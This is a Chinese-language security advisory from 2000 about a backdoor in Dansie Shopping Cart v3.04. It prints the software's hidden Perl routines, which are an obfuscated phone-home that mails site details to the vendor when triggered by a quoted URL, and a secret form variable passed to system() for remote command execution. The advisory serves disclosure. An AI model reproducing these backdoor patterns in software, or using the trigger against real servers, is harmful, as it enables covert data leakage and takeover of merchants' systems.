Dansie Shopping Cart软件存在后门
发布日期:2000-04-14
更新日期:2000-04-14
受影响系统:
Dansie Shopping Cart v3.04 (http://www.dansie.net/)
+
Windows NT
Unix
描述:
Dansie Shopping Cart是dansie.net开发的一个商业版的网上商店的CGI。在某些情况下,
这个CGI会给软件作者'tech@dansie.net'的信箱发送邮件,并且存在一个后门,允许远程
用户以CGI运行的权限执行任意命令。
这个CGI利用Caesar密码机制加密了作者的email地址,函数'there2'用来解密,函数
'there3'用来发送一封邮件给'tech@dansie.net',内容包含网站的网址以及ip,主机名。
------
sub there2
{
$_ = "$_[0]";
tr/a-z0-9/gvibn9wprud2lmx8z3fa4eq15oy06sjc7kth/;
tr/_/-/;
tr/\@/\./;
return $_;
}
-------
sub there3
{
if (($ENV{'OS'} !~ /Windows_NT/i) && ($mailprog) && (-e "$mailprog"))
{
$a = &there2('8v59')."\@".&there2('kte3cv').".".&there2('ev8');
$b = &there2('8v59_3jhhzi8');
pop(@there2);
pop(@there2);
$c = &there2("@there2");
open (TECH, "|$mailprog $a");
print TECH "To: $a\n";
print TECH "From: $a\n";
print TECH "Subject: $b\n\n";
print TECH "$path3\n";
print TECH "$ENV{'HTTP_HOST'} $ENV{'SERVER_NAME'}\n";
print TECH "$c\n";
print TECH "$e $there\n" if ($e);
close (TECH);
}
}
-------
当将加密后的密文用'there2'解密后,就得到了这样的结果:
8v59 == tech
kte3cv == dansie
ev8 == net
8v59_3jhhzi8 == tech-support
$a == tech@dansie.net
$b == Subject: tech-support
当远程用户执行"/cart/cart.cgi?usmbu7777"请求时,CGI就会调用there3将邮件秘密发送给
CGI作者。
在这个cgi中还存在另外一个隐藏的后门,当用户提交的表单中包含一个特殊变量时,CGI将
执行这个变量中包含的命令。
----------
if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) || ( ($FORM{'?????????'} ) && (!$d) ) )
{
if ( $ENV{'OS'} )
{
system("$FORM{'?????????'}");
}
else
{
open(ELIF,"|$FORM{'?????????'}");
}
exit;
}
---------
"?????????"是一个9位长的伪随即字符串,包含字母和数字。用户只要输入这个变量,就
可以以CGI的身份执行任何系统命令。
<* 来源:Joe (joe@blarg.net) *>
建议:
停止使用此shop cart
浏览次数:6324
严重程度:0(网友投票)